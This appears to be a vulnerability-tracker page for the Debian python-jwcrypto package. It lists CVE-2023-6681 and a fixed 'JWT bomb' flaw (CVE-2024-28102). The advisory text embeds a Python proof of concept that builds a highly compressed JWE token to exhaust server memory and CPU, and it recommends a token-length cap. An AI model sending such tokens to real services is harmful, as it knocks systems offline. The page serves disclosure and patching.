Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:deb/debian/python-jwcrypto@1.1.0-1%2Bdeb12u1
purl pkg:deb/debian/python-jwcrypto@1.1.0-1%2Bdeb12u1
Next non-vulnerable version 1.5.6-1
Latest non-vulnerable version 1.5.6-1
Risk 3.1
Vulnerabilities affecting this package (1)
Vulnerability Summary Fixed by
VCID-3uav-qamf-b7ek
Aliases:
CVE-2023-6681
GHSA-cw2r-4p82-qv79
PYSEC-2024-104
A vulnerability was found in JWCrypto. This flaw allows an attacker to cause a denial of service (DoS) attack and possible password brute-force and dictionary attacks to be more resource-intensive. This issue can result in a large amount of computational consumption, causing a denial of service attack.
1.5.6-1
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (1)
Vulnerability Summary Aliases
VCID-ygj7-qwt8-sud5 JWCrypto vulnerable to JWT bomb Attack in `deserialize` function ## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 ## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. ## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) print("-----compress-----") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) ``` It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785"> ## Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens. ## References [1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2) CVE-2024-28102
GHSA-j857-7rvv-vj97

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-16T10:16:59.029816+00:00 Debian Importer Affected by VCID-3uav-qamf-b7ek https://security-tracker.debian.org/tracker/data/json 38.4.0
2026-04-15T15:34:57.479879+00:00 Debian Oval Importer Fixing VCID-ygj7-qwt8-sud5 https://www.debian.org/security/oval/oval-definitions-bullseye.xml.bz2 38.4.0
2026-04-13T06:55:06.490544+00:00 Debian Importer Affected by VCID-3uav-qamf-b7ek https://security-tracker.debian.org/tracker/data/json 38.3.0
2026-04-11T15:22:54.414371+00:00 Debian Oval Importer Fixing VCID-ygj7-qwt8-sud5 https://www.debian.org/security/oval/oval-definitions-bullseye.xml.bz2 38.3.0
2026-04-08T18:36:03.348775+00:00 Debian Importer Affected by VCID-3uav-qamf-b7ek https://security-tracker.debian.org/tracker/data/json 38.1.0
2026-04-08T15:17:30.155442+00:00 Debian Oval Importer Fixing VCID-ygj7-qwt8-sud5 https://www.debian.org/security/oval/oval-definitions-bullseye.xml.bz2 38.1.0